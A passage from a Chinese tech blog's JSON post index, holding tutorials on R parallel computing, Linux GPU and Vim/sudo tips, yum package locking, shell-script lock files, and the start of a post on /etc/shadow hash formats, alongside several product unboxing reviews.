clusterExport(cl, \u0026#34;y\u0026#34;) # 在各節點使用全域變數 parLapply(cl, c(1, 2, 3), function(x) x^y) stopCluster(cl) 在 Linux 系統上若使用 FORK cluster 的話，由於各個節點都是以 forking 的方式產生的，所以可直接共用目前工作空間的資料：\n# 建立 FORK 的 cluster cl \u0026lt;- makeCluster(cpu.cores, type = \u0026#34;FORK\u0026#34;) # 建立全域變數 y \u0026lt;- 2 # 在各節點使用全域變數 parLapply(cl, c(1, 2, 3), function(x) x^y) stopCluster(cl) 載入套件 若要在各個節點上使用特定的套件，可以直接將載入套件的 library 指令寫在 parLapply 所呼叫的函數中，或是使用 clusterEvalQ 讓所有節點預先載入套件：\ncl \u0026lt;- makeCluster(cpu.cores) # 讓所有節點載入指定套件 clusterEvalQ(cl, library(e1071)) # 產生測試資料的索引 s \u0026lt;- lapply(1:3, function(i) { sample(1:nrow(iris), 50) } ) # 在各節點使用載入的套件 parLapply(cl, s, function(x) { svm(Species ~ ., data = iris[x,]) }) stopCluster(cl) clusterEvalQ 的作用就是單純讓每個節點執行指定的指令，只不過它不能像 parLapply 一樣傳入參數而已。\n亂數種子 在平行化的計算中，如何產生不會重複的亂數是一個比較複雜的問題，而 parallel 套件幫我們處理掉大部分了，在使用上唯一需要注意的大概就是亂數種子不可以使用一般 set.seed 函數，要改用 clusterSetRNGStream：\ncl \u0026lt;- makeCluster(cpu.cores) # 初始化 RNG Stream clusterSetRNGStream(cl, 123) # 產生亂數 clusterEvalQ(cl, runif(5)) stopCluster(cl) mclapply 函數 在 parallel 套件中還有一個 mclapply 函數，它會自動使用多核心的 CPU 進行平行計算，不需要手動建立 cluster，使用起來更方便，不過它不支援 Windows 系統，只能在 Linux 或 Mac OS 中使用：\n# 使用多核心 CPU 平行計算（不適用於 Windows 平台） mclapply(x.list, function(x) c(mean(x), sd(x))) 以上只是基本的 parallel 套件使用方式，更詳細的用法請參它的官方文件。\n計算 π 值範例 以下是一個用蒙地卡羅方法計算 π 值的程式，輸入的 n 值為模擬次數，傳回的結果就是 π 的近似值：\n# 估計 PI 值 est.pi \u0026lt;- function(n){ x \u0026lt;- runif(n, 0, 1) y \u0026lt;- runif(n, 0, 1) r \u0026lt;- sqrt(x^2 + y^2) sum(r \u0026lt; 1) / n * 4 } 我們可以使用 system.time 來測量計算時間，比較有無平行化的差異：\n# 普通計算 system.time(lapply(rep(1e7, 4), est.pi)) # 平行計算 system.time({ cl \u0026lt;- makeCluster(cpu.cores) parLapply(cl, rep(1e7, 4), est.pi) stopCluster(cl) }) # 平行計算（不適用於 Windows 平台） system.time(mclapply(rep(1e7, 4), est.pi)) 參考資料 Stranity Blog G-FORGE R-posts.com Parallel Processing in R ","permalink":"https://blog.gtwang.org/r/r-parallel-computing-module-tutorial/","summary":"\u003cp\u003e這裡介紹如何藉由 R 的 \u003ccode\u003eparallel\u003c/code\u003e 套件，使用多個 CPU 核心進行平行運算，提高計算速度。\u003c/p\u003e\n\u003cp\u003e現在電腦的 CPU 都有好幾個核心，在 R 中處理大計算量的問題時，如果感覺計算速度不夠快，就可以考慮將計算工作平行化，藉著 \u003ccode\u003eparallel\u003c/code\u003e 平行計算套件，將工作分散至多個 CPU 核心來計算，讓計算速度大幅提昇。\u003c/p\u003e","title":"R 的 parallel 平行計算套件使用教學與範例"},{"content":"本篇介紹如何在 Linux 中使用指令查詢顯示卡的 GPU 記憶體大小是多少。\n現在的顯示卡除了用來顯示螢幕畫面之外，也兼具強大的運算能力，尤其是在 AI 人工智慧的應用上，GPU 更是不可或缺的計算設備，在使用 GPU 進行運算時，記憶體的大小會是一很重要的資訊，以下介紹在 Linux 中查詢 GPU 記憶體大小的幾種指令與方式。\nnvidia-smi 指令 若使用 NVIDIA 的顯示卡，可以使用 nvidia-smi 直接查出目前系統上所有顯示卡的資訊與狀態：\nnvidia-smi 在 nvidia-smi 指令的輸出中，即可看出系統上每一張 NVIDIA 顯示卡的 GPU 記憶體大小與使用量。\nlspci 指令 如果是一般主機板內建的顯示卡，可用 lspci 指令來查詢，首先查詢顯示卡的編號：\nlspci 從 lspci 的輸出中找到 VGA compatible controller 的編號，接著依據編號查看顯示卡的詳細資料：\nlspci -v -s 07:00.0 從輸出的資料上來看，這張 ASPEED 的內建顯卡的記憶體是 16 MB。\n其他相關指令 其他還有一些相關的指令也可以查詢顯示卡的資料，例如 lshw：\nsudo lshw -C display Xorg 的記錄檔中通常也會有記憶體大小的資料：\ngrep -i memory /var/log/Xorg.0.log 另外 glxinfo 這個指令輸出也可以看出目前 X Window 所使用的 GPU 顯示卡型號。\n參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-query-gpu-memory-size-command-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中使用指令查詢顯示卡的 GPU 記憶體大小是多少。\u003c/p\u003e\n\u003cp\u003e現在的顯示卡除了用來顯示螢幕畫面之外，也兼具強大的運算能力，尤其是在 AI 人工智慧的應用上，GPU 更是不可或缺的計算設備，在使用 GPU 進行運算時，記憶體的大小會是一很重要的資訊，以下介紹在 Linux 中查詢 GPU 記憶體大小的幾種指令與方式。\u003c/p\u003e","title":"Linux 查詢顯示卡 GPU 記憶體大小指令教學"},{"content":"本篇是我購買與組裝 Intel NUC7i3BNH 超迷你個人電腦的簡單開箱文。\n最近家裡的電腦有些問題，開機開不起來，大概是電源供應器或主機板壞了，不過最近真的沒時間檢測，更沒空送修，再加上感覺原本的主機實在是太佔空間了，所以打算直接趁這次電腦出問題，直接換一台準系統（迷你系統）。\n市面上有很多廠牌都有出產超迷你型的準系統（也就是放一顆 2.5 吋硬碟就滿了的那種），而我實在不想花時間在維修電腦上面，所以想說挑大一點的廠牌，希望能夠耐用一點。\n我在原價屋的網頁看到 Intel NUC7i3BNH 這款價格是 9690 元，而 Pchome 上的價格則是 10590 元，感覺價格可接受，規格也符合需求，就直接買了。（因為我實在是太忙了，所以也沒有很仔細比較其他家的準系統）\n早上從原價屋網站下訂、中午經過客服確認後，馬上線上匯款，當天就寄出，隔天早上就收到來自於黑貓宅配的包裹，效率非常好。\n打開外箱，裡面有一些防撞的泡棉。\nIntel NUC7i3BNH 並不是一台完整立即可用的電腦，還需要加裝筆電用的記憶體，還有硬碟，所以我這次在買的時候，也順便買了一條 4G 的筆電記憶體，還有一張 M.2 的 256GB 固態硬碟。\n記憶體還有固態硬碟我想就算壞了要換都很方便，所以都是選最便宜的。記憶體我買的是 UMAX 的 4G DDR4-2133 筆電記憶體，價格是 1100 元。\n固態硬碟則是買 256GB 的威剛 SX6000，價格是 1950 元。\n這是 Intel NUC7i3BNH 的外盒。\n打開外盒，上面這個就是 Intel NUC7i3BNH 的機身。\n這些是所有的配件，包含 Intel NUC7i3BNH 主機、電源供應器、說明書、螺絲，還有壁掛安裝用的板子。\n這就是 Intel NUC7i3BNH 的機身，上方是平滑的表面。\n正面有兩個 USB 3.0 插座、耳機與麥克風插座，以及電源按鈕，黃色的那一個 USB 插座是有電源供應功能的 USB 孔，在沒有開機的狀況下也可以供電，可以用來幫手機充電，或是接一些 USB 供電的設備。\n在這些按鈕的周圍有一條白色的方框線，它在開機之後就是硬碟燈號，有讀寫動作時會變成藍色的。\n側面有一個 Micro SD 記憶卡插槽。\n另外一側就只有單純的散熱孔。\n背面的部分有 19V 電源輸入插孔、HDMI 插孔、乙太網路孔、兩個 USB 3.0 插座，還有一個 Type-C 的 USB 3.1 插孔。\n這是底部的樣子，若要安裝硬碟或記憶體的話，只要把周圍四個螺絲轉開之後，就可以打開機殼。\n這個是電源供應器，還附贈各國不同規格的插座，可以自由更換。\n在台灣使用的話，就裝上台灣用的插座即可。\n加裝記憶體與 SSD 固態硬碟 把底部的四個螺絲鬆開之後，就可以把機殼打開。\n打開機殼之後，首先會看到一個 2.5 吋的硬碟架，這個架子是可以拆卸的，如果沒有要裝 2.5 吋的硬碟，也可以直接把它拆掉。\n將硬碟架拿起來之後，就可以看到主機板，右邊可以裝兩條 SO-DIMM 的筆電記憶體（最大支援到 32 GB），左邊可以裝一條 M.2 的 SSD 固態硬碟。\n接著把這次買的 SSD 拿出來。\n這是背面的樣子。\n這一條 SSD 有附贈一片陽春的散熱片。\n貼上散熱片之後，會像這樣。\n另外 UMAX 的 4G DDR4-2133 筆電記憶體也要裝上去。\n這是記憶體的另外一面。\n安裝方式就跟普通的筆電主機板一樣，記憶體斜插之後壓下去，SSD 則是插進去後，鎖上螺絲。安裝好之後大概會像這樣。\n裝好記憶體與 SSD 固態硬碟之後，再把蓋子蓋回去，鎖上螺絲之後，就可以開機使用了。開機之後，先進 BIOS 檢查一下剛剛裝的記憶體與固態硬碟是否都有抓到，確認無誤後，就可以安裝作業系統了。\n這是開機後的樣子，電源的按鈕會亮藍色的燈，如果是待機的狀況下，這個燈會變成橘色的。\n這台 Intel NUC7i3BNH 真的是一台超迷你個人電腦，體積非常小，我接上我之前買的 27 吋 BENQ 螢幕，放在桌上感覺很好用，對於普通上網、看影片、文書處理工作等需求而言，這樣的硬體應該是非常夠用了。\n最後順便測試一下威剛 XPG SX6000 256G M.2 (PCIe) SSD 固態硬碟接在這台電腦上的效能。\n","permalink":"https://blog.gtwang.org/unboxing/intel-nuc7i3bnh-mini-computer/","summary":"\u003cp\u003e本篇是我購買與組裝 Intel NUC7i3BNH 超迷你個人電腦的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近家裡的電腦有些問題，開機開不起來，大概是電源供應器或主機板壞了，不過最近真的沒時間檢測，更沒空送修，再加上感覺原本的主機實在是太佔空間了，所以打算直接趁這次電腦出問題，直接換一台準系統（迷你系統）。\u003c/p\u003e","title":"[開箱] Intel NUC7i3BNH 超迷你個人電腦，i3-7100U 處理器"},{"content":"這裡介紹如何使用，查詢指定的期刊是否有被收錄在 SCI 或 SSCI 之中。\n在發表論文的時候，時常會需要查詢某個期刊是不是屬於 SCI（Science Citation Index）、SCI（Science Citation Index Expanded）或 SSCI（Social Science Citation Index），這時候就可以利用官方的線上資料庫來查詢。\nSCI、SCIE 與 SSCI 資料庫 SCI、SCIE 與 SSCI 的官方資料庫網址如下：\nSCI 期刊資料庫 SCIE 期刊資料庫 SSCI 期刊資料庫 每個資料庫的操作介面都差不多，可以用關鍵字搜尋，或依據字母排序、類別來瀏覽期刊列表。\n關鍵字搜尋 假設我們想要查詢「British Journal of Clinical Pharmacology」這本期刊有沒有被收錄在 SCI 之中，只要進入 SCI 資料庫的搜尋頁面，輸入要查詢的關鍵字，以及搜尋的欄位，按下「Search」之後即可搜尋。\n送出搜尋之後，立即就可以看到搜尋結果，如果自己要找的期刊有列在結果之中，就表示該期刊有被收錄。\n期刊列表 點選資料庫的「View List」可以查看整個資料庫依據字母排序的期刊列表。\n期刊分類 若點選「View Subject Category」則可以依照期刊的分類來瀏覽資料庫。查看時首先要選擇期刊的類別。\n這樣就可以查看屬於自己領域的所有 SCI 期刊了。\n參考資料 研究生 2.0 臺大圖書館參考服務部落格 ","permalink":"https://blog.gtwang.org/life/how-to-check-whether-journals-belong-to-sci-or-ssci/","summary":"\u003cp\u003e這裡介紹如何使用，查詢指定的期刊是否有被收錄在 SCI 或 SSCI 之中。\u003c/p\u003e\n\u003cp\u003e在發表論文的時候，時常會需要查詢某個期刊是不是屬於 SCI（Science Citation Index）、SCI（Science Citation Index Expanded）或 SSCI（Social Science Citation Index），這時候就可以利用官方的線上資料庫來查詢。\u003c/p\u003e","title":"查詢期刊是否屬於 SCI、SCIE、SSCI 教學"},{"content":"這裡介紹如何在 Vim 編輯器中使用 sudo 取得 root 權限，讓一般使用者也可以寫入系統的設定檔。\n通常管理者在維護 Linux 系統時，由於安全性的因素，不會使用 root 帳號直接登入系統，而是以一般使用者的帳號登入後，在需要 root 權限時再使用 su 或 sudo 指令取得 root 權限。\n而在實務上當我們在修改系統的設定檔時，最常發生的狀況就是忘記先取得 root 權限，直接就以一般使用者的權限編輯設定檔，而在整個檔案都改好之後，要儲存檔案時才發現自己沒有權限寫入。\n假設我們使用一般使用者的權限，編輯 /etc/hosts 這個設定檔，在儲存時就會有問題：\n當我們遇到這樣的狀況時，可以參可以下幾種解決方式。\n另存新檔 若無法直接寫入系統的檔案，大家直覺上會想到的方式就是先把修改好的檔案內容儲存在一個暫存檔中：\n:w /tmp/hosts.tmp 然後在離開 Vim 之後，以 root 權限再將該暫存檔複製到要儲存的位置：\nsudo cp /tmp/hosts.tmp /etc/hosts 最後將暫存檔刪除：\nrm /tmp/hosts.tmp 以 sudo 存檔 暫存檔的方式雖然可行，但是步驟比較麻煩，另一種方式是直接在 Vim 中呼叫 sudo 取得 root 權限來寫入檔案，Vim 的指令如下：\n:w !sudo tee % 執行這行 Vim 指令之後，會需要輸入密碼以取得 root 權限，接著就可以直接將內容寫入檔案了。\n這行 Vim 指令的結構比較複雜，詳細說明如下：\n:w：普通的 Vim 寫入指令，只不過在這裡不是寫入檔案，而是將編輯器的內容寫入一個緩衝區，導向至後面的 shell 指令。 !sudo：執行 shell 並呼叫 sudo 指令。 tee：將輸入的資料（Vim 寫入緩衝區的資料）導向至標準輸出以及檔案。 %：這個符號在 Vim 中就是代表目前的檔案名稱，以這個例子來說，它的值就是 /etc/hosts。 簡單來說這一行 Vim 指令就是透過 shell 以 sudo 執行 tee，取得 Vim 寫入緩衝區的資料，再將其寫入目前的檔案（也就是 %）中。\n這個指令是透過外部的 shell 寫入檔案，所以執行完之後，Vim 會發現目前正在編輯的檔案內容有被更動過，就會顯示這樣的警告訊息，請按下 L 重新載入新的檔案內容即可。\n參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/vim-vi-text-editor-save-file-without-root-permission-solution/","summary":"\u003cp\u003e這裡介紹如何在 Vim 編輯器中使用 \u003ccode\u003esudo\u003c/code\u003e 取得 \u003ccode\u003eroot\u003c/code\u003e 權限，讓一般使用者也可以寫入系統的設定檔。\u003c/p\u003e\n\u003cp\u003e通常管理者在維護 Linux 系統時，由於安全性的因素，不會使用 \u003ccode\u003eroot\u003c/code\u003e 帳號直接登入系統，而是以一般使用者的帳號登入後，在需要 \u003ccode\u003eroot\u003c/code\u003e 權限時再使用 \u003ca href=\"/linux/sudo-su-command-tutorial-examples/\"\u003esu 或 sudo 指令\u003c/a\u003e取得 \u003ccode\u003eroot\u003c/code\u003e 權限。\u003c/p\u003e","title":"Vim 存檔沒有 root 權限問題解決方法教學"},{"content":"本篇是 KINYO MPS-376 LED 多功能顯示讀卡喇叭的簡單開箱介紹文章。\n念佛機、播經機的好處很多，而我們在家就可以使用手機、音響或電視等設備來撥放，或是使用樹莓派或mp3 解碼板自己組裝播經機。\n對於不懂電腦的人，如果也想要一台小巧好用的播經機，可以考慮購買可以讀取 MicroSD 卡的喇叭，只要把 mp3 放進 MicroSD 卡中，插進喇叭之後就變成一台念佛機或播經機了，操作簡單，也很實用。\n我在網路上看了好久，感覺 KINYO MPS-376 這一款還不錯，所以買來試用看看。在價格方面，這台的定價應該是三百多，而網路上有些賣場只賣兩百出頭。\n這款喇叭的配件包含一條音源線，還有一條 Micro USB 的電源線，沒有附贈變壓器，所以要自己拿手機的變壓器來用，或是接電腦充電。\n側面有 USB 孔與電源開關，可以直接插 USB 隨身碟播放 mp3 音樂。\n另一側則是音源、電源輸入孔、MicroSD 卡插槽，可以從電腦輸出音源，當成電腦的喇叭，或是播放 MicroSD 卡中的 mp3 音樂檔。\n這是 LED 曲目顯示面板。\n這是喇叭的底部，有四個播放控制按鈕。\n控制按鈕包含上一首（音量減小）、播放/暫停、下一首（音量增大）與模式切換按鈕。另外它也有 FM 收音機的功能。\n播放時，喇叭旁邊還有小燈會亮。\n","permalink":"https://blog.gtwang.org/unboxing/kinyo-mps-376-portable-speaker-micro-sd-card-player/","summary":"\u003cp\u003e本篇是 KINYO MPS-376 LED 多功能顯示讀卡喇叭的簡單開箱介紹文章。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/life/buddha-machine-benefits-and-diy-instructions/\"\u003e念佛機、播經機的好處\u003c/a\u003e很多，而我們在家就可以使用手機、音響或電視等設備來撥放，或是使用\u003ca href=\"/iot/raspberry-pi/raspberry-pi-omxplayer-mp3-player-configuration-tutorial/\"\u003e樹莓派\u003c/a\u003e或\u003ca href=\"/iot/mp3-lossless-decoder-board-20180621/\"\u003emp3 解碼板\u003c/a\u003e自己組裝播經機。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e對於不懂電腦的人，如果也想要一台小巧好用的播經機，可以考慮購買可以讀取 MicroSD 卡的喇叭，只要把 mp3 放進 MicroSD 卡中，插進喇叭之後就變成一台念佛機或播經機了，操作簡單，也很實用。\u003c/p\u003e","title":"[開箱] KINYO MPS-376 LED 多功能顯示讀卡喇叭"},{"content":"這裡介紹如何在 Fedora、CentOS 或 RHEL 中鎖定套件，讓指定套件與軟體維持固定的版本，避免 yum 自動安裝或更新。\n在目前主流的 Linux 系統上，絕大部分的軟體都是透過套件管理系統來安裝或更新的，管理者只要定期執行更新指令，即可讓所有的軟體維持在最新狀態。\n然而在某些狀況下，我們可能會希望某些軟體固定維持在特定的版本下，不用隨著系統自動更新而改變，這時候就要將這種需要固定版本的軟體排除在套件管理系統之外。\n以下我們介紹在 Fedora、CentOS 與 Red Hat Linux 中，如何設定 yum 套件管理系統，鎖定指定的套件，避免自動更新。\n排除套件 在執行 yum 指令時，若要排除特定的套件，可以使用 --exclude 參數：\n# 排除 nginx 套件 sudo yum --exclude=nginx update 在指定套件時，可以使用一般 shell 中的萬用字元，例如若要排除 nginx 相關的套件，可以執行：\n# 排除 nginx 相關套件 sudo yum --exclude=\u0026#39;nginx*\u0026#39; update 如果要排除多個不同的套件，可以使用多個 --exclude 參數分開指定，例如：\n# 排除多個套件 sudo yum --exclude=nginx --exclude=php update 永久設定檔 如果要永久排除套件，可以將設定寫入 /etc/yum.conf 設定檔中：\n[main] cachedir=/var/cache/yum/$basearch/$releasever keepcache= debuglevel=2 logfile=/var/log/yum.log exactarch=1 obsoletes=1 gpgcheck=1 plugins=1 installonly_limit=5 bugtracker_url=http://bugs.centos.org/set_project.php?project_id=23\u0026amp;ref=http://bugs.centos.org/bug_report_page.php?category=yum distroverpkg=centos-release # 防止 nginx 相關套件更新 exclude=nginx* 若要排除多個套件，則用空白分隔即可：\n# 排除多個套件 exclude=nginx php 若要排除所有 32 位元的套件，可以這樣寫：\n# 排除 32 位元的套件 exclude=*.i?86 參考資料 Tecmint nixCraft redhat ","permalink":"https://blog.gtwang.org/linux/rhel-fedora-centos-linux-yum-lock-disable-blacklist-package-update-installation/","summary":"\u003cp\u003e這裡介紹如何在 Fedora、CentOS 或 RHEL 中鎖定套件，讓指定套件與軟體維持固定的版本，避免 \u003ccode\u003eyum\u003c/code\u003e 自動安裝或更新。\u003c/p\u003e\n\u003cp\u003e在目前主流的 Linux 系統上，絕大部分的軟體都是透過套件管理系統來安裝或更新的，管理者只要定期執行更新指令，即可讓所有的軟體維持在最新狀態。\u003c/p\u003e","title":"Fedora/CentOS/RHEL Linux 鎖定套件，防止 Yum 安裝或更新教學"},{"content":"這裡介紹如何防止 Linux 的 Shell 指令稿重複被執行，確保同一時間只有一個行程在執行。\n管理者在平常管理與維護 Linux 系統時，通常都會將例行性的工作寫成指令稿（script），然後以手動或是自動排程（crontab）的方式來執行，而像這類的指令稿通常都不能同時重複執行，否則很容易出問題（例如備份檔案等），所以在撰寫系統管理相關的指令稿時，最好要加上避免重複執行的檢查邏輯。\n以下我們將介紹避免指令稿重複執行的程式設計方法，靠著這個技巧就可以讓程式本身在執行時，自動檢查是否有重複執行，防止管理者不小心重複執行而出錯。\nShell 指令稿防止重複執行 一般來說，若要防止 Shell 指令稿被重複執行，可以使用鎖定檔案（lock file）或行程 ID 檔案（PID file）的方式來處理。\n鎖定檔案（lock file） 依據特定的檔案是否存在來判斷是否已經有另外一個行程正在執行。當指令稿執行時，先檢查鎖定檔案是否存在，如果存在的話就直接離開，反之若鎖定檔案不存在的話，則建立一個鎖定檔案，接著執行正常的工作，當工作結束後，離開指令稿前再刪除鎖定檔案。 行程 ID 檔案（PID file） 行程 ID 檔案的作法跟鎖定檔案類似，只不過在檔案中多放了一個行程 ID 的資訊，這樣一來就可以透過行程 ID 來驗證該行程是否有真的在執行。 鎖定檔案 以下是在一般的 shell 指令稿中，以鎖定檔案的方式防止重複執行的實做範例：\n#!/bin/sh # 鎖定檔案路徑 LOCK_FILE=/home/gtwang/my_script.lock # 檢查鎖定檔案 if [ -f $LOCK_FILE ]; then echo \u0026#34;This script is already running!\u0026#34; exit 1 fi # 建立 lock file touch $LOCK_FILE # 檢查鎖定檔案是否成功被建立 if [ ! -f $LOCK_FILE ]; then echo \u0026#34;Cannot create lock file!\u0026#34; exit 1 fi # 主要工作 echo \u0026#34;Doing my job.\u0026#34; sleep 30 echo \u0026#34;Done.\u0026#34; # 刪除鎖定檔案 rm -f ${LOCK_FILE} 鎖定檔案的路徑可以自由指定，不過不建議放在 /tmp/ 或是 /var/tmp/ 等暫存目錄之下，因為某些 Linux 會定時清理暫存目錄中的檔案（例如 Red Hat Enterprise Linux 就會每天將太久沒用的暫存檔清除掉）。\n行程 ID 檔案 以下是以行程 ID 檔案來防止重複執行的實做範例：\n#!/bin/sh # 行程 ID 檔案路徑 PID_FILE=/home/gtwang/my_script.pid # 檢查行程 ID 檔案是否存在 if [ -f $PID_FILE ]; then # 取得行程 ID PID=$(cat $PID_FILE) # 檢查行程是否有在執行 ps -p $PID \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 if [ $? -eq 0 ]; then echo \u0026#34;This script is already running!\u0026#34; exit 1 fi fi # 行程沒有在執行，將目前行程 ID 寫入檔案 echo $$ \u0026gt; $PID_FILE # 檢查行程 ID 檔案是否成功被建立 if [ $? -ne 0 ]; then echo \u0026#34;Could not create PID file.\u0026#34; exit 1 fi # 主要工作 echo \u0026#34;Doing my job.\u0026#34; sleep 30 echo \u0026#34;Done.\u0026#34; # 刪除鎖定檔案 rm -f ${PID_FILE} 行程 ID 檔案的方法可以更準確的判斷出指令稿是否有在執行，當前一個指令稿執行到一半異常終止時（例如按下 Ctrl + c），若以鎖定檔案的方式來判斷的話，由於指令稿中止時沒有清除鎖定檔案，所以就會造成誤判，以為上一個指令稿還在執行，而若以行程 ID 來判斷的話，就可以避免這種誤判情形。\nflock 指令 有時候我們可能會遇到無法自己修改指令稿的狀況，或是根本不想花時間改程式，這時候可以改用 flock 指令，它可以用鎖定檔案的方式，確保被呼叫的指令稿同一時間只被執行一次：\n# 以 /home/gtwang/my_script.lock 為鎖定檔案， # 讓 /home/gtwang/my_script.sh 同一時間只執行一次 flock -x /home/gtwang/my_script.lock -c /home/gtwang/my_script.sh 在預設的狀況下，第二次以 flock 執行指令稿時，若前一次的指令稿尚未結束的話，它會持續等待直到前一次執行的指令稿結束再開始執行。\n如果加上 -n 參數的話，若遇到前一次的指令稿尚未結束時，就會自動離開，不執行任何動作：\n# 若發現重複執行，則直接離開 flock -nx /home/gtwang/my_script.lock -c /home/gtwang/my_script.sh solo 指令稿 solo 是一個簡單的 Perl 指令稿，它是靠著綁定連接埠的方式，確保同一時間只有一個行程被執行，其原始碼如下：\n#!/usr/bin/perl -s # # solo v1.7 # Prevents multiple cron instances from running simultaneously. # # Copyright 2007-2016 Timothy Kay # http://timkay.com/solo/ # # It is free software; you can redistribute it and/or modify it under the terms of either: # # a) the GNU General Public License as published by the Free Software Foundation; # either version 1 (http://dev.perl.org/licenses/gpl1.html), or (at your option) # any later version (http://www.fsf.org/licenses/licenses.html#GNUGPL), or # # b) the \u0026#34;Artistic License\u0026#34; (http://dev.perl.org/licenses/artistic.html), or # # c) the MIT License (http://opensource.org/licenses/MIT) # use Socket; alarm $timeout\tif $timeout; $port =~ /^\\d+$/ or $noport\tor die \u0026#34;Usage: $0 -port=PORT COMMAND\\n\u0026#34;; if ($port) { # To work with OpenBSD: change to # $addr = pack(CnC, 127, 0, 1); # but make sure to use different ports across different users. # (Thanks to www.gotati.com .) $addr = pack(CnC, 127, $\u0026lt;, 1); print \u0026#34;solo: bind \u0026#34;, join(\u0026#34;.\u0026#34;, unpack(C4, $addr)), \u0026#34;:$port\\n\u0026#34;\tif $verbose; $^F = 10;\t# unset close-on-exec socket(SOLO, PF_INET, SOCK_STREAM, getprotobyname(\u0026#39;tcp\u0026#39;))\tor die \u0026#34;socket: $!\u0026#34;; bind(SOLO, sockaddr_in($port, $addr))\tor $silent? exit: die \u0026#34;solo($port): $!\\n\u0026#34;; } sleep $sleep if $sleep; exec @ARGV; solo 使用綁定連接埠的方式來避免指令稿重複執行，完全不需要使用到鎖定檔案，是一個非常好的作法，其使用方式如下：\n# 以綁定 6000 連接埠的方式， # 讓 /home/gtwang/my_script.sh 同一時間只執行一次 ./solo -port=6000 /home/gtwang/my_script.sh 如果重複執行時，就會出現以下的錯誤訊息：\nsolo(6000): Address already in use 參考資料 Linux 技術手札 ","permalink":"https://blog.gtwang.org/linux/prevent-shell-script-duplicate-executions/","summary":"\u003cp\u003e這裡介紹如何防止 Linux 的 Shell 指令稿重複被執行，確保同一時間只有一個行程在執行。\u003c/p\u003e\n\u003cp\u003e管理者在平常管理與維護 Linux 系統時，通常都會將例行性的工作寫成指令稿（script），然後以手動或是自動排程（crontab）的方式來執行，而像這類的指令稿通常都不能同時重複執行，否則很容易出問題（例如備份檔案等），所以在撰寫系統管理相關的指令稿時，最好要加上避免重複執行的檢查邏輯。\u003c/p\u003e","title":"Linux 防止 Shell 指令稿重複執行教學"},{"content":"本篇是弘緣太陽能光明機（播經機）的簡單開箱文。\n淨空法師時常鼓勵大家可以播經利益眾生，在自己家裡的話可以使用電腦、手機、音響、電視等各種設備來播經，而如果想在戶外長時間播經的話，需要考慮電源、日曬雨淋等問題，一般的設備就比較沒那麼方便。\n現在市面上有一種專門設計讓大家可以放在野外播經的太陽能播經機，有好幾種不同的廠牌與型號可以選擇，大部分都是大陸製的，在台灣也可以從拍賣網站上買到。\n我之前買了一個弘緣太陽能光明機，試用之後感覺還不錯，這次直接透過淘寶網站從大陸購買了六個，以海運寄送到台灣，一個只要台幣兩百多塊。\n打開外箱，裡面有六盒弘緣太陽能光明機。\n這是弘緣太陽能光明機的外盒。\n這台就是弘緣太陽能光明機，正面主要就是一片太陽能板，太陽能板的表面材質是一片玻璃，不怕日曬雨淋，適合放在野外。\n這是弘緣太陽能光明機的背面，喇叭與控制按鈕都在這邊。\n這是所有的曲目，通常放在野外長時間播經的話，會選擇第一首讓他重複播放。\n不同型號的機器，曲目也不相同，大家在購買的時候要注意一下。\n控制按鈕的部分，有電源開關、音量調整按鈕，以及下一首的按鈕。\n在使用時只要把開關打開，放在太陽照的到的地方，這樣它就會一直重複撥放選定的曲目，正常來說靠著太陽能充電，可以每天不斷地撥放，如果遇到連日的陰雨天氣，沒有陽光可充電，造成電力不足時，它就會暫停撥放，而等到有陽光可充電，電力充足時又會繼續撥放，完全不需要人去操作。\n放在野外的話，可以找一個不會積水的地方放置（例如磚牆上），或是使用附帶的立桿，插進土裡亦可。\n這根立桿是一節一節的，可以自由拆裝、調整長度。\n野外播經 放在野外的話，調整好立桿即可插進土裡。\n如果想讓它長時間播經的話，建議將音量調到最小聲以節省電力，讓陽光不足時也可以持續播經。\n這款播經機有很幾種顏色，我之前買的是紅色的，這是改買粉紅色的。\n之前這台紅色的播經機，我一開始怕它被雨淋會進水，所以封上一層膠膜，不過後來發現似乎不需要。\n","permalink":"https://blog.gtwang.org/unboxing/hong-yuan-solar-powered-buddha-machine/","summary":"\u003cp\u003e本篇是弘緣太陽能光明機（播經機）的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/life/buddha-machine-benefits-and-diy-instructions/\"\u003e淨空法師時常鼓勵大家可以播經利益眾生\u003c/a\u003e，在自己家裡的話可以使用電腦、手機、音響、電視等各種設備來播經，而如果想在戶外長時間播經的話，需要考慮電源、日曬雨淋等問題，一般的設備就比較沒那麼方便。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e現在市面上有一種專門設計讓大家可以放在野外播經的太陽能播經機，有好幾種不同的廠牌與型號可以選擇，大部分都是大陸製的，在台灣也可以從拍賣網站上買到。\u003c/p\u003e","title":"[開箱] 弘緣太陽能光明機（戶外播經機）"},{"content":"這裡介紹如何使用 Python 自己產生 Linux 中 /etc/shadow 所使用的加密格式密碼。\n在 Linux 系統上，所有使用者的密碼都是以加密的形式存放在 /etc/shadow 檔案中，如果想要手動產生，可以使用以下所介紹的方法。\n/etc/shadow 密碼格式 在 /etc/shadow 中的密碼是用以下格式所儲存的：\n$ID$SALT$ENCRYPTED ID 代表加密演算法，可能的值如下：\n1：MD5（雜湊長度為 22 個字元）。 5：SHA-256（雜湊長度為 43 個字元）。 6：SHA-512（雜湊長度為 86 個字元）。 SALT 是隨機字串（最長不超過 16 個字元），而 ENCRYPTED 則是密碼的雜湊值（hash）。\nMD5 密碼雜湊 以下是產生 MD5 密碼雜湊的 Python 